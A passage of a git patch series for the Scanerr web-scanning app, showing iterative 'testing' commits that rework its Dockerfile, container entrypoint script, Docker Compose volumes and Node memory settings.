-RUN apt-get update && apt-get install -y postgresql postgresql-client gcc make \
-    gfortran openssl libpq-dev curl libjpeg-dev libglib2.0-0 libsm6 libxrender1 \ 
-    libxext6 libgl1 libfontconfig apt-transport-https software-properties-common \
-    nasm autoconf libtool automake ca-certificates libfreetype6 
+RUN apt-get update && apt-get install -y \
+    postgresql \
+    postgresql-client \
+    gcc \
+    make \
+    gfortran \
+    openssl \
+    libpq-dev \
+    curl \
+    libsm6 \
+    libxrender1 \ 
+    libxext6 \
+    libgl1 \
+    nasm \
+    autoconf \
+    libtool \
+    automake \
+    libjpeg-dev \
+    libglib2.0-0 \
+    libfreetype6 \
+    ca-certificates \
+    libfontconfig \
+    apt-transport-https \
+    software-properties-common
+     
 
 # installing firefox-esr
 RUN apt-get update && apt-get install -y firefox-esr
@@ -69,9 +91,8 @@ RUN chown -R app:app /usr/bin/google-chrome-stable
 RUN chown -R app:app /usr/bin/microsoft-edge-stable
 RUN chown -R app:app /usr/local/bin/yellowlabtools
 RUN chown -R app:app /usr/local/bin/lighthouse
-RUN chown -R app:app /tmp
 RUN chown -R app:app /app/api/migrations
-RUN chmod -R 755 /app/api/migrations
+RUN chown -R app:app /tmp
 
 # cleaning up
 RUN apt-get clean && rm -rf /var/lib/apt/lists/*
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index fbac48bb..d8be025b 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -5,6 +5,7 @@ if [[ $1 == *"app"* ]]
 then 
   if [[ $2 == *"local"* ]]
   then
+    chown -R app:app /app/api/migrations &&
     python3 manage.py wait_for_db && 
     python3 manage.py makemigrations  --no-input &&
     python3 manage.py migrate --no-input &&
@@ -14,7 +15,8 @@ then
     python3 manage.py runserver 0.0.0.0:8000
   fi
   if [[ $2 == *"remote"* ]]
-    then 
+    then
+      chown -R app:app /app/api/migrations &&
       python3 manage.py wait_for_db && 
       python3 manage.py makemigrations  --no-input &&
       python3 manage.py migrate --no-input &&
@@ -28,6 +30,7 @@ fi
 # spin up celery
 if [[ $1 == *"celery"* ]]
 then
+  chown -R app:app /app/api/migrations &&
   python3 manage.py wait_for_db && 
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr worker -E --loglevel=info -O fair
@@ -36,6 +39,7 @@ fi
 # spin up celery beat
 if [[ $1 == *"beat"* ]]
 then
+  chown -R app:app /app/api/migrations &&
   python3 manage.py wait_for_db &&
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr beat --scheduler django --loglevel=info

From 87587246acb48e44272c59f52c2ed16e01fe6b6e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 19:15:39 -0600
Subject: [PATCH 0696/1099] fixed ENVs

---
 Dockerfile | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 7dccc898..cee44d1e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -5,15 +5,15 @@ FROM python:3.12-slim
 LABEL Author="Scanerr" Support="hello@scanerr.io"
 
 # setting ENVs and Configs
-ENV HOME =                              /app
-ENV XDG_CACHE_HOME =                    $HOME/.cache
-ENV DOCKERIZED =                        yes
-ENV DEBIAN_FRONTEND =                   noninteractive
-ENV PYTHONUNBUFFERED =                  1
-ENV MOZ_NO_REMOTE =                     1
-ENV MOZ_DISABLE_AUTO_SAFE_MODE =        1
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD =  true 
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE =     /usr/bin/google-chrome-stable
+ENV HOME=/app
+ENV XDG_CACHE_HOME=$HOME/.cache
+ENV DOCKERIZED=yes
+ENV DEBIAN_FRONTEND=noninteractive
+ENV PYTHONUNBUFFERED=1
+ENV MOZ_NO_REMOTE=1
+ENV MOZ_DISABLE_AUTO_SAFE_MODE=1
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable
 
 
 # create the app user

From 06413e3dcc9c7184194fe81c8864b8c0a2b6fe41 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 19:41:14 -0600
Subject: [PATCH 0697/1099] testing

---
 app/api/utils/yellowlab.py  | 2 ++
 setup/scripts/entrypoint.sh | 4 ----
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index c464ac4f..858d25fa 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -74,6 +74,8 @@ def yellowlab_cli(self):
         # retrieving data from process
         stdout_value = proc.communicate()[0]
 
+        print(stdout_value)
+
         # converting stdout str into Dict
         stdout_json = json.loads(stdout_value)
         return stdout_json
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index d8be025b..d7ede8f9 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -5,7 +5,6 @@ if [[ $1 == *"app"* ]]
 then 
   if [[ $2 == *"local"* ]]
   then
-    chown -R app:app /app/api/migrations &&
     python3 manage.py wait_for_db && 
     python3 manage.py makemigrations  --no-input &&
     python3 manage.py migrate --no-input &&
@@ -16,7 +15,6 @@ then
   fi
   if [[ $2 == *"remote"* ]]
     then
-      chown -R app:app /app/api/migrations &&
       python3 manage.py wait_for_db && 
       python3 manage.py makemigrations  --no-input &&
       python3 manage.py migrate --no-input &&
@@ -30,7 +28,6 @@ fi
 # spin up celery
 if [[ $1 == *"celery"* ]]
 then
-  chown -R app:app /app/api/migrations &&
   python3 manage.py wait_for_db && 
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr worker -E --loglevel=info -O fair
@@ -39,7 +36,6 @@ fi
 # spin up celery beat
 if [[ $1 == *"beat"* ]]
 then
-  chown -R app:app /app/api/migrations &&
   python3 manage.py wait_for_db &&
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr beat --scheduler django --loglevel=info

From 7310af7be18aa5f9011d2ffe85190b4e2a93c0d8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 19:42:34 -0600
Subject: [PATCH 0698/1099] removed white space

---
 Dockerfile | 2 --
 1 file changed, 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index cee44d1e..47963e36 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -15,7 +15,6 @@ ENV MOZ_DISABLE_AUTO_SAFE_MODE=1
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable
 
-
 # create the app user
 RUN addgroup --system app && adduser --system app
 
@@ -45,7 +44,6 @@ RUN apt-get update && apt-get install -y \
     apt-transport-https \
     software-properties-common
      
-
 # installing firefox-esr
 RUN apt-get update && apt-get install -y firefox-esr
 

From d57f41fde0b91321042224d22cff7248cafc5dc2 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 19:52:03 -0600
Subject: [PATCH 0699/1099] testing on new server

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 47963e36..df494c83 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -95,7 +95,7 @@ RUN chown -R app:app /tmp
 # cleaning up
 RUN apt-get clean && rm -rf /var/lib/apt/lists/*
 
-# setting user
+# setting final user
 USER app
 
 # staring up services

From 7bce01cc871d99468010e93b7837be931fb80f81 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 20:39:44 -0600
Subject: [PATCH 0700/1099] testing

---
 Dockerfile                 | 1 +
 app/api/utils/yellowlab.py | 2 --
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index df494c83..397b2550 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -90,6 +90,7 @@ RUN chown -R app:app /usr/bin/microsoft-edge-stable
 RUN chown -R app:app /usr/local/bin/yellowlabtools
 RUN chown -R app:app /usr/local/bin/lighthouse
 RUN chown -R app:app /app/api/migrations
+RUN chmod -R 755 /app/api/migrations
 RUN chown -R app:app /tmp
 
 # cleaning up
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 858d25fa..c464ac4f 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -74,8 +74,6 @@ def yellowlab_cli(self):
         # retrieving data from process
         stdout_value = proc.communicate()[0]
 
-        print(stdout_value)
-
         # converting stdout str into Dict
         stdout_json = json.loads(stdout_value)
         return stdout_json

From 9f630284499f9e5b2a927cb1799502b80b5bb431 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 21:51:21 -0600
Subject: [PATCH 0701/1099] testing

---
 Dockerfile                 | 99 ++++++++++----------------------------
 app/api/utils/automater.py |  3 +-
 2 files changed, 27 insertions(+), 75 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 397b2550..002048e0 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -14,94 +14,47 @@ ENV MOZ_NO_REMOTE=1
 ENV MOZ_DISABLE_AUTO_SAFE_MODE=1
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable
+ENV PYTHONPATH="/app:$PYTHONPATH"
 
 # create the app user
 RUN addgroup --system app && adduser --system app
 
-# installing system deps
-RUN apt-get update && apt-get install -y \
-    postgresql \
-    postgresql-client \
-    gcc \
-    make \
-    gfortran \
-    openssl \
-    libpq-dev \
-    curl \
-    libsm6 \
-    libxrender1 \ 
-    libxext6 \
-    libgl1 \
-    nasm \
-    autoconf \
-    libtool \
-    automake \
-    libjpeg-dev \
-    libglib2.0-0 \
-    libfreetype6 \
-    ca-certificates \
-    libfontconfig \
-    apt-transport-https \
-    software-properties-common
-     
-# installing firefox-esr
-RUN apt-get update && apt-get install -y firefox-esr
-
-# installing google-chrome-stable
-RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
+# install system dependencies and browsers
+RUN apt-get update && apt-get install -y --no-install-recommends \
+    postgresql postgresql-client gcc make gfortran openssl libpq-dev \
+    curl libsm6 libxrender1 libxext6 libgl1 nasm autoconf libtool \
+    automake libjpeg-dev libglib2.0-0 libfreetype6 ca-certificates \
+    libfontconfig apt-transport-https software-properties-common \
+    firefox-esr && \
+    curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
     apt-get install -y ./google-chrome-stable_current_amd64.deb && \
-    rm google-chrome-stable_current_amd64.deb
-
-# installing microsoft-edge-stable
-RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
+    curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
     install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \
-    sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > \
-    /etc/apt/sources.list.d/microsoft-edge.list' && \
+    sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > /etc/apt/sources.list.d/microsoft-edge.list' && \
     apt-get update && apt-get install -y microsoft-edge-stable && \
-    apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* microsoft.gpg
-
-# installing node and npm
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
-    && npm install -g n && n lts && npm cache clean --force
+    apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* microsoft.gpg google-chrome-stable_current_amd64.deb
 
-# installing lighthouse & lighthouse-plugin-crux
-RUN npm install -g lighthouse lighthouse-plugin-crux
+# install node and npm, lighthouse, yellowlabtools
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends && \
+    npm install -g n && n lts && npm cache clean --force && \
+    npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
 
-# installing lodash & yellowlabtools
-RUN npm install -g lodash yellowlabtools
-
-# installing requirements
+# copy requirements and install dependencies as root temporarily
 COPY ./setup/requirements/requirements.txt /requirements.txt
-RUN python3.12 -m pip install -r /requirements.txt
-
-# setting working dir
 COPY ./app /app
 WORKDIR /app
+RUN mkdir -p .mozilla .cache && chown -R app:app /app
 
-# setting extra dirs
-RUN mkdir -p /app/.mozilla \
-    && mkdir -p /app/.cache
-
-# setting ownership
-RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/firefox
-RUN chown -R app:app /usr/bin/google-chrome-stable
-RUN chown -R app:app /usr/bin/microsoft-edge-stable
-RUN chown -R app:app /usr/local/bin/yellowlabtools
-RUN chown -R app:app /usr/local/bin/lighthouse
-RUN chown -R app:app /app/api/migrations
-RUN chmod -R 755 /app/api/migrations
-RUN chown -R app:app /tmp
+# Install Python dependencies as root (optional debug step)
+USER root
+RUN python3.12 -m pip install --no-cache-dir -r /requirements.txt
 
-# cleaning up
-RUN apt-get clean && rm -rf /var/lib/apt/lists/*
-
-# setting final user
+# Switch back to non-root user
 USER app
 
-# staring up services
+# Verify installation
+RUN python3.12 -m pip freeze
+
+# set entrypoint and start services
 COPY ./setup/scripts/entrypoint.sh "/entrypoint.sh"
 ENTRYPOINT [ "/entrypoint.sh" ]
-
-
-
diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
index c10c8a2e..6779dd46 100644
--- a/app/api/utils/automater.py
+++ b/app/api/utils/automater.py
@@ -129,10 +129,9 @@ def build_exp_list(self) -> None:
                 exp = f'{joiner}any(i{operator}{value} for i in {data_type})'
             elif 'test_status' in expression['data_type']:
                 data_type = 'self.object.status' 
-
             # high-level scan data
             elif 'health' in expression['data_type']:
-                data_type = '((float(self.object.lighthouse["scores"].get("average"]) + float(self.object.yellowlab["scores"].get("globalScore"]))/2)'
+                data_type = '((float(self.object.lighthouse["scores"].get("average",0)) + float(self.object.yellowlab["scores"].get("globalScore",0)))/2)'
             elif 'logs' in expression['data_type']:
                 data_type = 'len(self.object.logs)'
             

From fbbdc2ac9937a5fe403c747727b5a6e378beecf0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 09:32:21 -0600
Subject: [PATCH 0702/1099] testing

---
 Dockerfile                  | 98 +++++++++++++++++++++++++++----------
 setup/scripts/entrypoint.sh |  2 -
 2 files changed, 72 insertions(+), 28 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 002048e0..a9240f3f 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -14,47 +14,93 @@ ENV MOZ_NO_REMOTE=1
 ENV MOZ_DISABLE_AUTO_SAFE_MODE=1
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable
-ENV PYTHONPATH="/app:$PYTHONPATH"
+ENV PYTHONPATH="$HOME:$PYTHONPATH"
 
 # create the app user
 RUN addgroup --system app && adduser --system app
 
-# install system dependencies and browsers
+# installing system deps
 RUN apt-get update && apt-get install -y --no-install-recommends \
-    postgresql postgresql-client gcc make gfortran openssl libpq-dev \
-    curl libsm6 libxrender1 libxext6 libgl1 nasm autoconf libtool \
-    automake libjpeg-dev libglib2.0-0 libfreetype6 ca-certificates \
-    libfontconfig apt-transport-https software-properties-common \
-    firefox-esr && \
-    curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
+    postgresql \
+    postgresql-client \
+    gcc \
+    make \
+    gfortran \
+    openssl \
+    libpq-dev \
+    curl \
+    libsm6 \
+    libxrender1 \ 
+    libxext6 \
+    libgl1 \
+    nasm \
+    autoconf \
+    libtool \
+    automake \
+    libjpeg-dev \
+    libglib2.0-0 \
+    libfreetype6 \
+    ca-certificates \
+    libfontconfig \
+    apt-transport-https \
+    software-properties-common
+     
+# installing firefox-esr
+RUN apt-get update && apt-get install -y --no-install-recommends firefox-esr
+
+# installing google-chrome-stable
+RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
     apt-get install -y ./google-chrome-stable_current_amd64.deb && \
-    curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
+    rm google-chrome-stable_current_amd64.deb
+
+# installing microsoft-edge-stable
+RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
     install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \
-    sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > /etc/apt/sources.list.d/microsoft-edge.list' && \
-    apt-get update && apt-get install -y microsoft-edge-stable && \
-    apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* microsoft.gpg google-chrome-stable_current_amd64.deb
+    sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > \
+    /etc/apt/sources.list.d/microsoft-edge.list' && \
+    apt-get update && apt-get install -y microsoft-edge-stable
+
+# installing node and npm
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
+    && npm install -g n && n lts && npm cache clean --force
 
-# install node and npm, lighthouse, yellowlabtools
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends && \
-    npm install -g n && n lts && npm cache clean --force && \
-    npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+# installing lighthouse & lighthouse-plugin-crux
+RUN npm install -g lighthouse lighthouse-plugin-crux
 
-# copy requirements and install dependencies as root temporarily
+# installing lodash & yellowlabtools
+RUN npm install -g lodash yellowlabtools
+
+# copying & installing requirements
 COPY ./setup/requirements/requirements.txt /requirements.txt
+RUN python3.12 -m pip install -r /requirements.txt
+
+# setting working dir
 COPY ./app /app
 WORKDIR /app
-RUN mkdir -p .mozilla .cache && chown -R app:app /app
 
-# Install Python dependencies as root (optional debug step)
-USER root
-RUN python3.12 -m pip install --no-cache-dir -r /requirements.txt
+# setting extra dirs
+RUN mkdir -p .mozilla .cache
 
-# Switch back to non-root user
-USER app
+# setting ownership
+RUN chown -R app:app /app
+RUN chown -R app:app /tmp
 
-# Verify installation
-RUN python3.12 -m pip freeze
+# make migration files
+RUN python3.12 manage.py makemigrations --no-input 
 
-# set entrypoint and start services
+# cleaning up
+RUN apt-get clean && rm -rf \
+    /var/lib/apt/lists/* \
+    /tmp/* \
+    /var/tmp/* \
+    microsoft.gpg
+
+# setting final user
+USER app
+
+# staring up services
 COPY ./setup/scripts/entrypoint.sh "/entrypoint.sh"
 ENTRYPOINT [ "/entrypoint.sh" ]
+
+
+
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index d7ede8f9..e4fabb53 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -6,7 +6,6 @@ then
   if [[ $2 == *"local"* ]]
   then
     python3 manage.py wait_for_db && 
-    python3 manage.py makemigrations  --no-input &&
     python3 manage.py migrate --no-input &&
     python3 manage.py collectstatic --no-input &&
     python3 manage.py create_admin &&
@@ -16,7 +15,6 @@ then
   if [[ $2 == *"remote"* ]]
     then
       python3 manage.py wait_for_db && 
-      python3 manage.py makemigrations  --no-input &&
       python3 manage.py migrate --no-input &&
       python3 manage.py collectstatic --no-input &&
       python3 manage.py create_admin &&

From 499a90a99f5c133441c1fb10344fce6e586f48d7 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 09:50:23 -0600
Subject: [PATCH 0703/1099] different node install method

---
 Dockerfile                  | 16 +++++++++++++---
 setup/scripts/entrypoint.sh |  2 --
 2 files changed, 13 insertions(+), 5 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index a9240f3f..9c1c9da5 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -61,8 +61,11 @@ RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > mic
     apt-get update && apt-get install -y microsoft-edge-stable
 
 # installing node and npm
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
-    && npm install -g n && n lts && npm cache clean --force
+RUN curl -fsSL https://deb.nodesource.com/setup_current.x | bash - && \
+    apt-get install -y nodejs \
+    build-essential && \
+    node --version && \ 
+    npm --version
 
 # installing lighthouse & lighthouse-plugin-crux
 RUN npm install -g lighthouse lighthouse-plugin-crux
@@ -88,12 +91,19 @@ RUN chown -R app:app /tmp
 # make migration files
 RUN python3.12 manage.py makemigrations --no-input 
 
+# collect static files 
+RUN python3.12 manage.py collectstatic --no-input
+
+# increase RAM usage for node
+RUN export NODE_OPTIONS="--max-old-space-size=4080"
+
 # cleaning up
 RUN apt-get clean && rm -rf \
     /var/lib/apt/lists/* \
     /tmp/* \
     /var/tmp/* \
-    microsoft.gpg
+    microsoft.gpg && \
+    autoremove
 
 # setting final user
 USER app
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index e4fabb53..daa95be9 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -7,7 +7,6 @@ then
   then
     python3 manage.py wait_for_db && 
     python3 manage.py migrate --no-input &&
-    python3 manage.py collectstatic --no-input &&
     python3 manage.py create_admin &&
     python3 manage.py driver_test &&
     python3 manage.py runserver 0.0.0.0:8000
@@ -16,7 +15,6 @@ then
     then
       python3 manage.py wait_for_db && 
       python3 manage.py migrate --no-input &&
-      python3 manage.py collectstatic --no-input &&
       python3 manage.py create_admin &&
       python3 manage.py driver_test &&
       gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000

From 243f99e14e48f34da7cb66f981dbb393ba9fbf7a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 10:56:04 -0600
Subject: [PATCH 0704/1099] testing

---
 Dockerfile                  | 23 ++++++++---------------
 setup/scripts/entrypoint.sh |  5 +++++
 2 files changed, 13 insertions(+), 15 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 9c1c9da5..9680f9e0 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -15,6 +15,7 @@ ENV MOZ_DISABLE_AUTO_SAFE_MODE=1
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable
 ENV PYTHONPATH="$HOME:$PYTHONPATH"
+ENV NODE_OPTIONS="--max-old-space-size=4080"
 
 # create the app user
 RUN addgroup --system app && adduser --system app
@@ -62,10 +63,9 @@ RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > mic
 
 # installing node and npm
 RUN curl -fsSL https://deb.nodesource.com/setup_current.x | bash - && \
-    apt-get install -y nodejs \
-    build-essential && \
-    node --version && \ 
-    npm --version
+    apt-get install -y --no-install-recommends nodejs && \
+    npm install -g --no-cache n && \
+    n lts
 
 # installing lighthouse & lighthouse-plugin-crux
 RUN npm install -g lighthouse lighthouse-plugin-crux
@@ -77,6 +77,9 @@ RUN npm install -g lodash yellowlabtools
 COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3.12 -m pip install -r /requirements.txt
 
+# setting user ownership for migrations
+RUN chown -R app:app ./app
+
 # setting working dir
 COPY ./app /app
 WORKDIR /app
@@ -88,22 +91,12 @@ RUN mkdir -p .mozilla .cache
 RUN chown -R app:app /app
 RUN chown -R app:app /tmp
 
-# make migration files
-RUN python3.12 manage.py makemigrations --no-input 
-
-# collect static files 
-RUN python3.12 manage.py collectstatic --no-input
-
-# increase RAM usage for node
-RUN export NODE_OPTIONS="--max-old-space-size=4080"
-
 # cleaning up
 RUN apt-get clean && rm -rf \
     /var/lib/apt/lists/* \
     /tmp/* \
     /var/tmp/* \
-    microsoft.gpg && \
-    autoremove
+    microsoft.gpg
 
 # setting final user
 USER app
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index daa95be9..7f8c13eb 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -6,7 +6,9 @@ then
   if [[ $2 == *"local"* ]]
   then
     python3 manage.py wait_for_db && 
+    python3 manage.py makemigrations --no-input &&
     python3 manage.py migrate --no-input &&
+    python3 manage.py collectstatic --no-input &&
     python3 manage.py create_admin &&
     python3 manage.py driver_test &&
     python3 manage.py runserver 0.0.0.0:8000
@@ -14,7 +16,9 @@ then
   if [[ $2 == *"remote"* ]]
     then
       python3 manage.py wait_for_db && 
+      python3 manage.py makemigrations --no-input &&
       python3 manage.py migrate --no-input &&
+      python3 manage.py collectstatic --no-input &&
       python3 manage.py create_admin &&
       python3 manage.py driver_test &&
       gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
@@ -24,6 +28,7 @@ fi
 # spin up celery
 if [[ $1 == *"celery"* ]]
 then
+  node -e 'console.log(`Node RAM space: ${v8.getHeapStatistics().heap_size_limit/(1024*1024)}`)' &&
   python3 manage.py wait_for_db && 
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr worker -E --loglevel=info -O fair

From 0becc5a8220a2ebca010776d5c9395a3e3ed37e4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 11:34:00 -0600
Subject: [PATCH 0705/1099] testing

---
 Dockerfile                  | 4 ++--
 notes/Deployment.md         | 2 +-
 setup/scripts/entrypoint.sh | 1 -
 3 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 9680f9e0..3fdb51aa 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -78,7 +78,7 @@ COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3.12 -m pip install -r /requirements.txt
 
 # setting user ownership for migrations
-RUN chown -R app:app ./app
+# RUN chown -R app:app ./app
 
 # setting working dir
 COPY ./app /app
@@ -89,7 +89,7 @@ RUN mkdir -p .mozilla .cache
 
 # setting ownership
 RUN chown -R app:app /app
-RUN chown -R app:app /tmp
+# RUN chown -R app:app /tmp
 
 # cleaning up
 RUN apt-get clean && rm -rf \
diff --git a/notes/Deployment.md b/notes/Deployment.md
index 5de5cc87..a6c08178 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -149,7 +149,7 @@ docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
 ### Get & Set Node Memory:
 Get Current Memory
 ```shell
-node -e 'console.log(v8.getHeapStatistics().heap_size_limit/(1024*1024))'
+node -e 'console.log(`Node RAM space: ${v8.getHeapStatistics().heap_size_limit/(1024*1024)}`)'
 ```
 Set New Memory
 ```shell
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index 7f8c13eb..4f40b281 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -28,7 +28,6 @@ fi
 # spin up celery
 if [[ $1 == *"celery"* ]]
 then
-  node -e 'console.log(`Node RAM space: ${v8.getHeapStatistics().heap_size_limit/(1024*1024)}`)' &&
   python3 manage.py wait_for_db && 
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr worker -E --loglevel=info -O fair

From d54147cafd1cf9c90fccecc86a74037f91bffd12 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 11:59:22 -0600
Subject: [PATCH 0706/1099] testing new scripts and

---
 Dockerfile                     | 6 ++----
 app/api/migrations/__init__.py | 0
 docker-compose.dev.yml         | 8 ++++----
 setup/scripts/entrypoint.sh    | 6 ++++++
 4 files changed, 12 insertions(+), 8 deletions(-)
 mode change 100644 => 100755 app/api/migrations/__init__.py

diff --git a/Dockerfile b/Dockerfile
index 3fdb51aa..e695380a 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -77,9 +77,6 @@ RUN npm install -g lodash yellowlabtools
 COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3.12 -m pip install -r /requirements.txt
 
-# setting user ownership for migrations
-# RUN chown -R app:app ./app
-
 # setting working dir
 COPY ./app /app
 WORKDIR /app
@@ -89,7 +86,8 @@ RUN mkdir -p .mozilla .cache
 
 # setting ownership
 RUN chown -R app:app /app
-# RUN chown -R app:app /tmp
+RUN chown -R app:app /app/api/migrations*
+RUN chmod -R 755 /app/api/migrations*
 
 # cleaning up
 RUN apt-get clean && rm -rf \
diff --git a/app/api/migrations/__init__.py b/app/api/migrations/__init__.py
old mode 100644
new mode 100755
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 79fe150a..a35ab920 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -17,8 +17,8 @@ services:
     env_file:
       - ./env/.env.dev
     volumes:
-      - ./app:/app
-      - static_volume:/app/static
+      - ./app:/app:rw
+      - static_volume:/app/static:rw
     depends_on:
       - db
 
@@ -56,7 +56,7 @@ services:
     env_file:
       - ./env/.env.dev
     volumes:
-      - ./app:/scanerr
+      - ./app:/scanerr:rw
     depends_on:
       - redis
       - app
@@ -74,7 +74,7 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
-      - ./app:/scanerr
+      - ./app:/scanerr:rw
     env_file:
       - ./env/.env.dev
     depends_on:
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
